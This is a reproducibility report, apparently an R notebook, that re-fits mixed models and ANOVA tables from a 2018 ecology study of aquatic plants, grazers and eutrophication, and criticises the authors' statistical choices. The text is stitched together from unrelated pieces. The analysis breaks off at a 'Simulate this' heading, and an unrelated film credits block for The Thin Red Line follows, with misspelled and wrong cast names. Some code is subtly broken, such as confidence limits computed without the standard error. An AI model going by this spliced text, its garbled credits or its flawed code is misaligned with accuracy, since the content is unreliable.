Data from: Density-dependent positive feedbacks buffer aquatic plants from interactive effects of eutrophication and predator loss
Sources
Source: Donadi S, Austin ÅN, Svartgren E, Eriksson BK, Hansen JP, Eklöf JS (2018) Density-dependent positive feedbacks buffer aquatic plants from interactive effects of eutrophication and predator loss. Ecology 99(11): 2515-2524. https://doi.org/10.1002/ecy.2501
Data source: Donadi S, Austin ÅN, Svartgren E, Eriksson BK, Hansen JP, Eklöf JS (2018) Data from: Density-dependent positive feedbacks buffer aquatic plants from interactive effects of eutrophication and predator loss. Dryad Digital Repository. https://doi.org/10.5061/dryad.m1fb658
Summary
Data are easy to import and clean
Results are based on the ANOVA tables in Appendix 5, Tables S1 and S2. Table S1 gives F and p for five responses and uses the same terms, ndf, and ddf columns for these 5 responses. Two of the responses (branch length and stem length) reproduce if the model is fit using REML. The other three responses (plant biomass, number of branches, and epiphyte biomass) reproduce if the model is fit using ML, but the epiphyte columns are a composite of two different fit models. The upper main effects rows reproduce only if the fit model is additive (no interactions). The lower interaction rows reproduce using the full-factorial model. This dual model is hidden by the structure of the table and nowhere (that I can fin) suggested in the methods or results.
The statistics reported with the posthoc contrasts are not the actual test statistic or p-value but the ANOVA test statistic and p-value from the row of the ANOVA table that the authors use to justify the contrast without adjusting for multiplicity (Fisher LSD). This wasn’t immediately obvious and confused me. I didn’t see a LSD statistic or an undadjusted p-value specific to the contrast.
The backward elimination statistics in Table S2 reproduce (I didn’t complete this but what I had done reproduced exactly).
Caveats
Failure to reproduce or partial reproducibility might be an error in my coding, or my misunderstanding of the author’s methods, or my lack of knowledge of statistics generally or the R functions that I use more specifically.
Set up
library(readxl)
library(ggplot2)
library(ggpubr)
library(nlme)
library(lmerTest)
library(car)
library(emmeans)
library(data.table)
library(lmtest) #?
library(predictmeans)
data_folder <- "../data"
folder <- "Data from Density-dependent positive feedbacks buffer aquatic plants from interactive effects of eutrophication and predator loss"
# images need to be moved to /static/images/data from.../image.png
knitr_path <- FALSE
Import
fn <-"plant_grazer_data_SDonadi.xlsx"
# open sheet "shoot level"
sheet_i <- "Shoot level"
file_path <- paste(data_folder, folder, fn, sep='/')
shoot <- data.table(read_excel(file_path, sheet = sheet_i))
shoot <- shoot[CAGE_TREAT!="uncaged"] # Delete CAGE_TREAT="uncaged" as these are not in main analysis
shoot[, SITE:=factor(SITE)]
shoot[, CAGE_ID:=factor(CAGE_ID)]
shoot[, CAGE_TREAT:=factor(CAGE_TREAT)]
shoot[, DENSITY_TREAT:=factor(DENSITY_TREAT)]
shoot[, NUTRIENT_TREAT:=factor(NUTRIENT_TREAT)]
# open sheet "cage level"
sheet_i <- "Cage level"
file_path <- paste(data_folder, folder, fn, sep='/')
cage <- data.table(read_excel(file_path, sheet = sheet_i))
cage <- cage[CAGE_TREAT!="uncaged"] # Delete CAGE_TREAT="uncaged" as these are not in main analysis
cage[, SITE:=factor(SITE)]
cage[, CAGE_ID:=factor(CAGE_ID)]
cage[, CAGE_TREAT:=factor(CAGE_TREAT)]
cage[, DENSITY_TREAT:=factor(DENSITY_TREAT)]
cage[, NUTRIENT_TREAT:=factor(NUTRIENT_TREAT)]
data cleaning
shoot <- shoot[CAGE_TREAT!="uncaged"]
shoot[, Strictly_epiphytic_algae_DW_g_Myrio:=as.numeric(Strictly_epiphytic_algae_DW_g_Myrio)]
shoot[, scaled_Strictly_epiphytic_algae_DW_g_Myrio:=as.numeric(scaled_Strictly_epiphytic_algae_DW_g_Myrio)]
shoot[, wind_fetch:=as.numeric(wind_fetch)]
cage[, Avgscaled_macrograzers_and_chirono_AFDW_mg_Myrio:=as.numeric(Avgscaled_macrograzers_and_chirono_AFDW_mg_Myrio)]
cage[, Avgscaled_macrograzers_and_chirono_n_Myrio:=as.numeric(Avgscaled_macrograzers_and_chirono_n_Myrio)]
cage[, wind_fetch:=as.numeric(wind_fetch)]
Reproducibility
Appendix S5 Table S1
Start with this table since it is the basis for the in-text results
# The authors use nlme and not lme4
# fit by REML
fit1 <- lme(ShootDW_g ~ DENSITY_TREAT*CAGE_TREAT*NUTRIENT_TREAT + wind_fetch + Actual_Retention_time, random = ~1|SITE/CAGE_ID, data=shoot)
fit1.anova <- anova(fit1, type = "marginal")
fit2 <- lme(sqrt(Sum_branch_length) ~ DENSITY_TREAT*CAGE_TREAT*NUTRIENT_TREAT + wind_fetch + Actual_Retention_time, random = ~1|SITE/CAGE_ID, data=shoot)
fit2.anova <- anova(fit2, type = "marginal")
fit3 <- lme(sqrt(N_tot_branches) ~ DENSITY_TREAT*CAGE_TREAT*NUTRIENT_TREAT + wind_fetch + Actual_Retention_time, random = ~1|SITE/CAGE_ID, data=shoot)
fit3.anova <- anova(fit3, type = "marginal")
fit4 <- lme(sqrt(Max_length_cm) ~ DENSITY_TREAT*CAGE_TREAT*NUTRIENT_TREAT + wind_fetch + Actual_Retention_time, random = ~1|SITE/CAGE_ID, data=shoot)
fit4.anova <- anova(fit4, type = "marginal")
fit5 <- lme(sqrt(scaled_Strictly_epiphytic_algae_DW_g_Myrio) ~ DENSITY_TREAT*CAGE_TREAT*NUTRIENT_TREAT + wind_fetch + Actual_Retention_time, random = ~1|SITE/CAGE_ID, data=shoot, na.action=na.exclude)
fit5.anova <- anova(fit5, type = "marginal")
# fit by ML
fit1b <- lme(ShootDW_g ~ DENSITY_TREAT*CAGE_TREAT*NUTRIENT_TREAT + wind_fetch + Actual_Retention_time, random = ~1|SITE/CAGE_ID, method="ML", data=shoot)
fit1b.anova <- anova(fit1b, type = "marginal") # machts nichts
fit2b <- lme(sqrt(Sum_branch_length) ~ DENSITY_TREAT*CAGE_TREAT*NUTRIENT_TREAT + wind_fetch + Actual_Retention_time, random = ~1|SITE/CAGE_ID, method="ML", data=shoot)
fit2b.anova <- anova(fit2b, type = "marginal")
fit3b <- lme(sqrt(N_tot_branches) ~ DENSITY_TREAT*CAGE_TREAT*NUTRIENT_TREAT + wind_fetch + Actual_Retention_time, random = ~1|SITE/CAGE_ID, method="ML", data=shoot)
fit3b.anova <- anova(fit3b, type = "marginal")
fit4b <- lme(sqrt(Max_length_cm) ~ DENSITY_TREAT*CAGE_TREAT*NUTRIENT_TREAT + wind_fetch + Actual_Retention_time, random = ~1|SITE/CAGE_ID, method="ML", data=shoot)
fit4b.anova <- anova(fit4b, type = "marginal")
fit5b <- lme(sqrt(scaled_Strictly_epiphytic_algae_DW_g_Myrio) ~ DENSITY_TREAT*CAGE_TREAT*NUTRIENT_TREAT + wind_fetch + Actual_Retention_time, random = ~1|SITE/CAGE_ID, method="ML", data=shoot, na.action=na.exclude)
fit5b.anova <- anova(fit5b, type = "marginal")
ycols <- c("F-value", "p-value")
df <- merge(fit1.anova, fit2.anova[, ycols], by=0, sort=FALSE)
df <- df[,-1]
row.names(df) <- row.names(fit1.anova)
df <- merge(df, fit3.anova[, ycols], by=0, sort=FALSE)
df <- df[,-1]
row.names(df) <- row.names(fit1.anova)
df <- merge(df, fit4.anova[, ycols], by=0, sort=FALSE)
df <- df[,-1]
row.names(df) <- row.names(fit1.anova)
df <- merge(df, fit5.anova[, ycols], by=0, sort=FALSE)
colnames(df) <- c("Term", "numDF", "denDF", "Plant biomass F", "Plant biomass p", "Branch length F", "Branch length p", "N branches F", "N branches p", "Stem length F", "Stem length p", "Algae biomass F", "Algae biomass p")
table_s1_reml <- copy(df)
knitr::kable(table_s1_reml, digits=c(NA, 0, 0, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3))
| Term | numDF | denDF | Plant biomass F | Plant biomass p | Branch length F | Branch length p | N branches F | N branches p | Stem length F | Stem length p | Algae biomass F | Algae biomass p |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| (Intercept) | 1 | 115 | 27.25 | 0.000 | 60.86 | 0.000 | 60.82 | 0.000 | 77.19 | 0.000 | 4.51 | 0.036 |
| DENSITY_TREAT | 2 | 19 | 2.02 | 0.160 | 1.37 | 0.277 | 0.72 | 0.499 | 0.75 | 0.487 | 0.15 | 0.860 |
| CAGE_TREAT | 1 | 19 | 0.73 | 0.405 | 0.24 | 0.630 | 0.07 | 0.791 | 0.42 | 0.525 | 0.63 | 0.437 |
| NUTRIENT_TREAT | 1 | 19 | 5.82 | 0.026 | 4.29 | 0.052 | 5.93 | 0.025 | 2.29 | 0.146 | 2.39 | 0.138 |
| wind_fetch | 1 | 19 | 12.01 | 0.003 | 13.84 | 0.001 | 10.59 | 0.004 | 12.49 | 0.002 | 1.79 | 0.197 |
| Actual_Retention_time | 1 | 1 | 7.66 | 0.221 | 16.52 | 0.154 | 8.52 | 0.210 | 15.64 | 0.158 | 1.13 | 0.481 |
| DENSITY_TREAT:CAGE_TREAT | 2 | 19 | 1.07 | 0.363 | 0.79 | 0.467 | 0.57 | 0.572 | 0.49 | 0.620 | 0.13 | 0.881 |
| DENSITY_TREAT:NUTRIENT_TREAT | 2 | 19 | 6.05 | 0.009 | 4.24 | 0.030 | 3.98 | 0.036 | 2.16 | 0.143 | 2.27 | 0.131 |
| CAGE_TREAT:NUTRIENT_TREAT | 1 | 19 | 2.60 | 0.123 | 1.76 | 0.200 | 1.80 | 0.195 | 1.23 | 0.281 | 1.55 | 0.228 |
| DENSITY_TREAT:CAGE_TREAT:NUTRIENT_TREAT | 2 | 19 | 4.04 | 0.035 | 2.97 | 0.075 | 2.47 | 0.112 | 1.96 | 0.168 | 1.38 | 0.276 |
ycols <- c("F-value", "p-value")
df <- merge(fit1b.anova, fit2b.anova[, ycols], by=0, sort=FALSE)
df <- df[,-1]
row.names(df) <- row.names(fit1b.anova)
df <- merge(df, fit3b.anova[, ycols], by=0, sort=FALSE)
df <- df[,-1]
row.names(df) <- row.names(fit1b.anova)
df <- merge(df, fit4b.anova[, ycols], by=0, sort=FALSE)
df <- df[,-1]
row.names(df) <- row.names(fit1b.anova)
df <- merge(df, fit5b.anova[, ycols], by=0, sort=FALSE)
colnames(df) <- c("Term", "numDF", "denDF", "Plant biomass F", "Plant biomass p", "Branch length F", "Branch length p", "N branches F", "N branches p", "Stem length F", "Stem length p", "Algae biomass F", "Algae biomass p")
table_s1_ml <- copy(df)
knitr::kable(table_s1_ml, digits=c(NA, 0, 0, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3))
| Term | numDF | denDF | Plant biomass F | Plant biomass p | Branch length F | Branch length p | N branches F | N branches p | Stem length F | Stem length p | Algae biomass F | Algae biomass p |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| (Intercept) | 1 | 115 | 47.34 | 0.000 | 84.09 | 0.000 | 84.90 | 0.000 | 114.45 | 0.000 | 9.81 | 0.002 |
| DENSITY_TREAT | 2 | 19 | 3.01 | 0.073 | 2.43 | 0.115 | 1.38 | 0.277 | 1.33 | 0.288 | 0.28 | 0.759 |
| CAGE_TREAT | 1 | 19 | 0.92 | 0.349 | 0.30 | 0.591 | 0.09 | 0.771 | 0.58 | 0.456 | 1.02 | 0.326 |
| NUTRIENT_TREAT | 1 | 19 | 7.03 | 0.016 | 5.15 | 0.035 | 7.35 | 0.014 | 2.78 | 0.112 | 3.50 | 0.077 |
| wind_fetch | 1 | 19 | 24.87 | 0.000 | 18.85 | 0.000 | 14.28 | 0.001 | 18.49 | 0.000 | 1.19 | 0.289 |
| Actual_Retention_time | 1 | 1 | 16.62 | 0.153 | 23.45 | 0.130 | 11.70 | 0.181 | 23.81 | 0.129 | 2.85 | 0.341 |
| DENSITY_TREAT:CAGE_TREAT | 2 | 19 | 1.50 | 0.248 | 1.18 | 0.328 | 0.90 | 0.422 | 0.79 | 0.469 | 0.25 | 0.781 |
| DENSITY_TREAT:NUTRIENT_TREAT | 2 | 19 | 9.38 | 0.001 | 6.66 | 0.006 | 6.26 | 0.008 | 3.58 | 0.048 | 2.79 | 0.087 |
| CAGE_TREAT:NUTRIENT_TREAT | 1 | 19 | 3.28 | 0.086 | 2.23 | 0.152 | 2.37 | 0.140 | 1.60 | 0.221 | 2.44 | 0.135 |
| DENSITY_TREAT:CAGE_TREAT:NUTRIENT_TREAT | 2 | 19 | 6.19 | 0.009 | 4.47 | 0.026 | 3.74 | 0.043 | 3.21 | 0.063 | 1.86 | 0.182 |
reproducing epiphytic algae biomass columns
An additive model for epiphyte biomass reproduces the first 6 rows of Table S1 (the last 4 are from the full factorial model fitted by ML). Found this not by trying to reproduce table but because I wanted to compare p-values of marginal effects with and without interactions in the model.
#
fit5c <- lme(sqrt(scaled_Strictly_epiphytic_algae_DW_g_Myrio) ~ DENSITY_TREAT + CAGE_TREAT + NUTRIENT_TREAT + wind_fetch + Actual_Retention_time, random = ~1|SITE/CAGE_ID, method="ML", data=shoot, na.action=na.exclude)
knitr::kable(anova(fit5c, type = "marginal"), digits=c(0,0,2,3))
| numDF | denDF | F-value | p-value | |
|---|---|---|---|---|
| (Intercept) | 1 | 114 | 13.10 | 0.000 |
| DENSITY_TREAT | 2 | 26 | 2.05 | 0.149 |
| CAGE_TREAT | 1 | 26 | 6.12 | 0.020 |
| NUTRIENT_TREAT | 1 | 26 | 0.42 | 0.524 |
| wind_fetch | 1 | 26 | 2.08 | 0.162 |
| Actual_Retention_time | 1 | 1 | 3.87 | 0.299 |
branch length and stem length reproduce using REML
plant biomass and number of branches reproduce using ML
The main effects for epiphyte algae biomass reproduces using an additive model (no interactions) and ML while the interaction effects reproduce using the full factorial model and ML. I didn’t see in the text that the authors used an additive model and the table suggests the full factorial model.
No information in methods why the authors use REML for some responses and ML for others.
in-text
After 12 weeks, epiphytic algae biomass was 2.4 times higher in the large predatory fish exclosures (closed cages) than the fish access (open) cages but was unaffected by nutrient enrichment and plant density (main effect of cage treatment, F1,19 = 6.12, P = 0.020, Appendix S5, Fig. 2A)
– The ANOVA F and p reproduce using an additive model (the methods and Table S1 imply interactions included) and ML estimation. See my Table S1 for full table. The reported ddf differs from my table because the reported ddf report the ddf “as if” the full-factorial model were used.
# additive model
knitr::kable(anova(fit5c, type = "marginal")["CAGE_TREAT",], digits=c(0,0,2,3))
| numDF | denDF | F-value | p-value | |
|---|---|---|---|---|
| CAGE_TREAT | 1 | 26 | 6.12 | 0.02 |
# algae mass used the additive model
fit.emm <- data.table(summary(emmeans(fit5c, specs="CAGE_TREAT"))) # marginal means
a <- (fit.emm[CAGE_TREAT=="closed", emmean])^2
b <- (fit.emm[CAGE_TREAT=="open", emmean])^2
a/b
## [1] 2.114262
This doesn’t reproduce. Here I try the raw means that do not account for clustered data and unbalanced design.
a <- mean(shoot[CAGE_TREAT=="closed", scaled_Strictly_epiphytic_algae_DW_g_Myrio], na.rm=TRUE)
b <- mean(shoot[CAGE_TREAT=="open", scaled_Strictly_epiphytic_algae_DW_g_Myrio], na.rm=TRUE)
a/b
## [1] 2.416909
This reproduces. See section “Statistical Red-flag” #4
Plant density interacted with nutrient enrichment and exclusion of large fish (three-way interaction, Appendix S5) to affect plant performance: in closed cages (where algal biomass was generally higher, see above) and under nutrient-enriched conditions, high plant density increased individual plant biomass 4.7 times compared to medium plant density (Fisher’s LSD test, F2,19 = 6.19, P = 0.009, Fig. 3A)
I assumed that this p value was that for the post hoc comparison but it (and the F ratio) is from the row for the 3-way interaction in the ANOVA table, which I reproduce (see Table S1 below). For the actual p-value of this contrast, see “statistical red flags #3” below.
I assume that “increase 4.7X” is the fraction increase. But this doesn’t reproduce.
fit.emm <- data.table(summary(emmeans(fit1b, specs=c("CAGE_TREAT","DENSITY_TREAT","NUTRIENT_TREAT")))) # marginal means
# is the fold-change correct?
a <- fit.emm[DENSITY_TREAT=="3_high" & CAGE_TREAT=="closed" & NUTRIENT_TREAT=="enriched", emmean]
b <- fit.emm[DENSITY_TREAT=="2_intermediate" & CAGE_TREAT=="closed" & NUTRIENT_TREAT=="enriched", emmean]
(a-b)/b
## [1] 4.012426
Here I used the raw means (ignoring the clustered structure) instead of the modeled means, and it does reproduce.
a <- mean(shoot[DENSITY_TREAT=="3_high" & CAGE_TREAT=="closed" & NUTRIENT_TREAT=="enriched", ShootDW_g], na.rm=TRUE)
b <- mean(shoot[DENSITY_TREAT=="2_intermediate" & CAGE_TREAT=="closed" & NUTRIENT_TREAT=="enriched", ShootDW_g], na.rm=TRUE)
(a-b)/b
## [1] 3.744193
a/b
## [1] 4.744193
This reproduces if I use the raw means that do not account for the clustered data and unbalanced design and if the value is not the “increase” but simply the multiple (it didn’t increase 4.7X but is simply 4.7X bigger). See section “Statistical Red-flag” #4
in closed cages … under nutrient-enriched conditions [and] high plant density … number of branches per plant 2.3 and 2.8 times (Fisher’s LSD test, F2,19 = 3.74, P = 0.043, Fig. 3B), compared to medium and low plant density, respectively.
I assume the multiple is using raw data as above. Again, the ANOVA stats are for the 3-way interaction row in TABLE S1 and this p-value is not the p-value of the contrasts but of the three-way interaction. The contrast p-values were not reported but I compute these in “Statistical Red-flag” #5
Appendix S5 Table S2
Not completed here but what I’ve don reproduces so I assume the rest does.
# fit by ML
m1 <- lme(sqrt(Avgscaled_macrograzers_and_chirono_AFDW_mg_Myrio) ~ DENSITY_TREAT + CAGE_TREAT + NUTRIENT_TREAT + wind_fetch + Actual_Retention_time + DENSITY_TREAT:CAGE_TREAT + DENSITY_TREAT:NUTRIENT_TREAT + CAGE_TREAT*NUTRIENT_TREAT + DENSITY_TREAT:CAGE_TREAT:NUTRIENT_TREAT, random = ~1|SITE, method="ML", data=cage, na.action=na.exclude)
t1 <- drop1(m1,test="Chisq")
# drop DENSITY_TREAT:CAGE_TREAT:NUTRIENT_TREAT
m2 <- lme(sqrt(Avgscaled_macrograzers_and_chirono_AFDW_mg_Myrio) ~ DENSITY_TREAT + CAGE_TREAT + NUTRIENT_TREAT + wind_fetch + Actual_Retention_time + DENSITY_TREAT:CAGE_TREAT + DENSITY_TREAT:NUTRIENT_TREAT + CAGE_TREAT*NUTRIENT_TREAT, random = ~1|SITE, method="ML", data=cage, na.action=na.exclude)
t2 <- drop1(m2, test="Chisq")
# drop CAGE_TREAT:NUTRIENT_TREAT
m3 <- lme(sqrt(Avgscaled_macrograzers_and_chirono_AFDW_mg_Myrio) ~ DENSITY_TREAT + CAGE_TREAT + NUTRIENT_TREAT + wind_fetch + Actual_Retention_time + DENSITY_TREAT:CAGE_TREAT + DENSITY_TREAT:NUTRIENT_TREAT, random = ~1|SITE, method="ML", data=cage, na.action=na.exclude)
t3 <- drop1(m3, test="Chisq")
# drop DENSITY_TREAT:NUTRIENT_TREAT
m4 <- lme(sqrt(Avgscaled_macrograzers_and_chirono_AFDW_mg_Myrio) ~ DENSITY_TREAT + CAGE_TREAT + NUTRIENT_TREAT + wind_fetch + Actual_Retention_time + DENSITY_TREAT:CAGE_TREAT, random = ~1|SITE, method="ML", data=cage, na.action=na.exclude)
t4 <- drop1(m4, test="Chisq")
# drop NUTRIENT_TREAT
m5 <- lme(sqrt(Avgscaled_macrograzers_and_chirono_AFDW_mg_Myrio) ~ DENSITY_TREAT + CAGE_TREAT + wind_fetch + Actual_Retention_time + DENSITY_TREAT:CAGE_TREAT, random = ~1|SITE, method="ML", data=cage, na.action=na.exclude)
t5 <- drop1(m5, test="Chisq")
Figure 2
Grazer abundance (measured at the cage level) was 2.3 times higher in nutrient-enriched than ambient cages (main effect of nutrient treatment, LRT = 3.93, df = 1, P = 0.047) and 2.6 times higher in closed than open cages (main effect of cage treatment, LRT = 5.24, df = 1, P = 0.022, Appendix S5, Fig. 2B). Meanwhile, grazer biomass was not affected by the treatments (Appendix S5, Fig. 2C).
The figure reference is backwards here, Fig. 2b is Grazer biomass while Fig. 2C is grazer abundance.
# 2A
# raw SE
shoot[, present_scaled_Strictly_epiphytic_algae_DW_g_Myrio:=ifelse(is.na(scaled_Strictly_epiphytic_algae_DW_g_Myrio),0,1)]
fit5.raw_means <- shoot[, .(epiph_algae_biom=mean(scaled_Strictly_epiphytic_algae_DW_g_Myrio, na.rm=TRUE),
sd=sd(scaled_Strictly_epiphytic_algae_DW_g_Myrio, na.rm=TRUE),
N=sum(present_scaled_Strictly_epiphytic_algae_DW_g_Myrio)),
by=.(NUTRIENT_TREAT, CAGE_TREAT, DENSITY_TREAT)]
fit5.raw_means[, SE:=sd/sqrt(N)]
# orderBy(~NUTRIENT_TREAT + CAGE_TREAT + DENSITY_TREAT, fit5.raw_means)
pd <- position_dodge(0.9)
gg1 <- ggplot(data=fit5.raw_means, aes(x=CAGE_TREAT, y=epiph_algae_biom, fill=DENSITY_TREAT)) +
geom_col(position=pd) +
geom_errorbar(aes(ymin=epiph_algae_biom-SE, ymax=epiph_algae_biom+SE), width=0.2, position=pd) +
facet_wrap(.~NUTRIENT_TREAT) +
NULL
gg1
# 2B Grazer biomass
cage[, present_biomass:=ifelse(is.na(Avgscaled_macrograzers_and_chirono_AFDW_mg_Myrio),0,1)] # need this for count
biomass_means <- cage[, .(raw_mean=mean(Avgscaled_macrograzers_and_chirono_AFDW_mg_Myrio, na.rm=TRUE),
N=sum(present_biomass),
sd=sd(Avgscaled_macrograzers_and_chirono_AFDW_mg_Myrio, na.rm=TRUE)), by=.(NUTRIENT_TREAT, CAGE_TREAT, DENSITY_TREAT)]
biomass_means[, raw_se:=sd/sqrt(N)]
pd <- position_dodge(0.9)
gg2 <- ggplot(data=biomass_means, aes(x=CAGE_TREAT, y=raw_mean, fill=DENSITY_TREAT)) +
geom_col(position=pd) +
geom_errorbar(aes(ymin=raw_mean-raw_se, ymax=raw_mean+raw_se), width=0.2, position=pd) +
facet_wrap(.~NUTRIENT_TREAT) +
NULL
gg2
A little exploration of effects of grazer biomass
emmeans(m1, specs=c("NUTRIENT_TREAT", "CAGE_TREAT", "DENSITY_TREAT"), type="response")
## NUTRIENT_TREAT CAGE_TREAT DENSITY_TREAT response SE df lower.CL
## ambient closed 1_low 75.80842 141.37447 1 0
## enriched closed 1_low 291.29918 283.37469 1 0
## ambient open 1_low 17.56383 68.02111 1 0
## enriched open 1_low 232.69576 249.11449 1 0
## ambient closed 2_medium 49.81757 114.62538 1 0
## enriched closed 2_medium 139.06713 234.81738 1 0
## ambient open 2_medium 35.82574 97.24346 1 0
## enriched open 2_medium 65.27431 132.56081 1 0
## ambient closed 3_high 921.84912 495.87539 1 0
## enriched closed 3_high 543.41831 380.47765 1 0
## ambient open 3_high 56.80919 122.59068 1 0
## enriched open 3_high 78.28846 143.61322 1 0
## upper.CL
## 12513.48
## 15018.31
## 11514.46
## 14162.18
## 12151.40
## 19125.94
## 11925.05
## 12615.37
## 17988.61
## 16130.01
## 12291.93
## 12536.24
##
## Degrees-of-freedom method: containment
## Confidence level used: 0.95
## Intervals are back-transformed from the sqrt scale
wow! Those are big CIs!
Statistical Red-flags
Two different methods (REML and ML) used for fitting models in the main ANOVA table (Appendix 5, Table S1)
The ANOVA for algae biomass in Appendix 5, Table S1 is composite – the main effects is the ANOVA from an additive model while the interactions are from the full-factorial model.
The F-ratio/p value for the 3-way interaction in Table S1 is not the p value used to “protect” post hoc comparisons among levels of Density within some combination of Nutrients and Cage. With this complex of a design I don’t think there is any row of the ANOVA table that “protects” post-hoc comparisons. If one wants unadjusted p-values for a specific post-hoc comparison (I’m fine with this), I would use the contrast function of the emmeans package.
# plant biomass ANOVA reproduced with ML so use fit1b
fit.emm <- emmeans(fit1b, specs=c("DENSITY_TREAT", "CAGE_TREAT", "NUTRIENT_TREAT"))
fit.contrast <- data.table(summary(contrast(fit.emm, method="revpairwise", adjust="none")))[contrast=="3_high,closed,enriched - 2_intermediate,closed,enriched",]
fit.contrast$p.value
## [1] 0.003445575
fit.pm <- predictmeans(fit1b, modelterm="DENSITY_TREAT:CAGE_TREAT:NUTRIENT_TREAT", pairwise = TRUE, plot=FALSE)
##
## The predicted means are estimated at
##
## wind_fetch Actual_Retention_time
## 865.2457 0.2598
fit.pm$"Pairwise p-value"["3_high:closed:enriched","2_intermediate:closed:enriched"]
## [1] 0.0024
I’m not sure why these differ, I would think they would be the same but its not clear to me how the “predictmeans” LSD pairwise comparison is computing t-values
The fold-changes given in the text are based on the means computed from the raw data and not from the model. This can sometimes be misleading. See https://cran.r-project.org/web/packages/emmeans/vignettes/basics.html
p-values for number of branches
Again, not sure why these differ, I would think they would be the same. Regardless these are the p-values that should be reported with a contrast.
# number of branches reproduced with ML so use fit3b
fit.emm <- emmeans(fit3b, specs=c("DENSITY_TREAT", "CAGE_TREAT", "NUTRIENT_TREAT"))
fit.contrast <- data.table(summary(contrast(fit.emm, method="revpairwise", adjust="none")))[contrast=="3_high,closed,enriched - 2_intermediate,closed,enriched",]
fit.contrast$p.value
## [1] 0.02027803
fit.pm <- predictmeans(fit3b, modelterm="DENSITY_TREAT:CAGE_TREAT:NUTRIENT_TREAT", pairwise = TRUE, plot=FALSE)
##
## The predicted means are estimated at
##
## wind_fetch Actual_Retention_time
## 865.2457 0.2598
fit.pm$"Pairwise p-value"["3_high:closed:enriched","2_intermediate:closed:enriched"]
## [1] 0.0154
Figure red-flags
The SE from the figures are based on raw data and do not represent the model and cannot be used to infer much of anything useful because 1) they do not take into account the random effects and they are taken from untransformed (not sqrt transformed) data. Note how 2*SE for many of the error bars would extend (often well) below zero.
SEs from the model fit would probably be better but because of the hard limit at zero and the small sample size, these SEs look silly and are also not very useful. Probably the most useful would be CIs but, again, because of only 3 replicates, these CIs are huge and basically suggest noise. None of these are very satisfying ways of portraying the model results.
# After 12 weeks, epiphytic algae biomass was 2.4 times higher in the large predatory fish exclosures (closed cages) than the fish access (open) cages but was unaffected by nutrient enrichment and plant density (main effect of cage treatment, F1,19 = 6.12, P = 0.020, Appendix S5, Fig. 2A).
# refit model with lmer, I prefer the "(1|SITE) + (1|SITE:CAGE_ID)" specification
# refit additive model with lmer
fit <- lmer(sqrt(scaled_Strictly_epiphytic_algae_DW_g_Myrio) ~ DENSITY_TREAT + CAGE_TREAT + NUTRIENT_TREAT + wind_fetch + Actual_Retention_time + (1|SITE) + (1|SITE:CAGE_ID), REML=FALSE, data=shoot, na.action=na.exclude)
fit.emm <- emmeans(fit, specs=c("CAGE_TREAT"))
fit.emm
## CAGE_TREAT emmean SE df lower.CL upper.CL
## closed 1.657775 0.7790900 21.75 0.0409719 3.274578
## open 1.140108 0.7784317 21.49 -0.4765029 2.756720
##
## Results are averaged over the levels of: DENSITY_TREAT, NUTRIENT_TREAT
## Degrees-of-freedom method: kenward-roger
## Results are given on the sqrt (not the response) scale.
## Confidence level used: 0.95
contrast(fit.emm, method="revpairwise", adjust="none")
## contrast estimate SE df t.ratio p.value
## open - closed -0.5176664 0.2397631 48.96 -2.159 0.0358
##
## Results are averaged over the levels of: DENSITY_TREAT, NUTRIENT_TREAT
fit.emm.full <- emmeans(fit, specs=c("CAGE_TREAT", "DENSITY_TREAT","NUTRIENT_TREAT"))
# computing SE from fixed effect component only
# modified from http://bbolker.github.io/mixedmodels-misc/glmmFAQ.html#lme4
newdat <- expand.grid(DENSITY_TREAT=levels(shoot$DENSITY_TREAT),
CAGE_TREAT=levels(shoot$CAGE_TREAT),
NUTRIENT_TREAT=levels(shoot$NUTRIENT_TREAT))
newdat$wind_fetch <- 0
newdat$ Actual_Retention_time <- 0
fit.emm2 <- data.table(newdat)
fit.emm2[, emmean:=predict(fit, newdat, re.form=NA)]
mm <- model.matrix(~~ DENSITY_TREAT + CAGE_TREAT + NUTRIENT_TREAT + wind_fetch + Actual_Retention_time, newdat)
# mm <- model.matrix(terms(fit), fit.emm2)
## or newdat$distance <- mm %*% fixef(fm1)
fit.emm2[, SE:=sqrt(diag(mm %*% tcrossprod(vcov(fit), mm)))]
t_crit <- 1.96
fit.emm2[, lower.CL:=emmean-t_crit]
fit.emm2[, upper.CL:=emmean+t_crit]
# apparently this is what emmeans is doing (or close)
# lme "containment" SE
pd <- position_dodge(0.9)
gg1b <- ggplot(data=summary(fit.emm), aes(x=CAGE_TREAT, y=emmean)) +
geom_col(position=pd) +
geom_errorbar(aes(ymin=emmean-SE, ymax=emmean+SE), width=0.2, position=pd) +
#geom_errorbar(aes(ymin=lower.CL, ymax=upper.CL), width=0.2, position=pd) +
#facet_wrap(.~NUTRIENT_TREAT) +
NULL
gg1b
pd <- position_dodge(0.9)
gg1c <- ggplot(data=fit.emm2, aes(x=CAGE_TREAT, y=emmean, fill=DENSITY_TREAT)) +
geom_col(position=pd) +
geom_errorbar(aes(ymin=emmean-SE, ymax=emmean+SE), width=0.2, position=pd) +
#geom_errorbar(aes(ymin=lower.CL, ymax=upper.CL), width=0.2, position=pd) +
facet_wrap(.~NUTRIENT_TREAT) +
NULL
gg1c
#
# # lmer
# pd <- position_dodge(0.9)
# gg1d <- ggplot(data=summary(fit5_lmer_add.emm.response), aes(x=CAGE_TREAT, y=response, fill=DENSITY_TREAT)) +
# geom_col(position=pd) +
# #geom_errorbar(aes(ymin=response-SE, ymax=response+SE), width=0.2, position=pd) +
# geom_errorbar(aes(ymin=lower.CL, ymax=upper.CL), width=0.2, position=pd) +
# facet_wrap(.~NUTRIENT_TREAT) +
# NULL
# gg1d
# large SEs reflect the clustered data but this should really be modeled with a GLM
Simulate this
Adjustment in posthoc tests basically lower the rate that we find structure in a structureless data set. What is the type I error rate of the rows in the ANOVA table in a three-way design?


The Thin Red Line (1998)
Director: Terrence Malick Cast: Sean Penn, Adrien Brody, James Caviezel, Ben Chaplin, George Clooney, John Cusack, Woody Harrelson, Elias Koteas, Jared Leto, John C. Reilly, Nick Nolty, John Travolta, Bill Pullman, Paul Gleason Screenplay: Terrence Malick Producers: Robert Michael Geisler, Grant Hill, John Roberdeau Runtime: 170 min. US Distribution: 20th Century Fox Rated R: violence, language
Copyright 1998 Nathaniel R. Atcheson
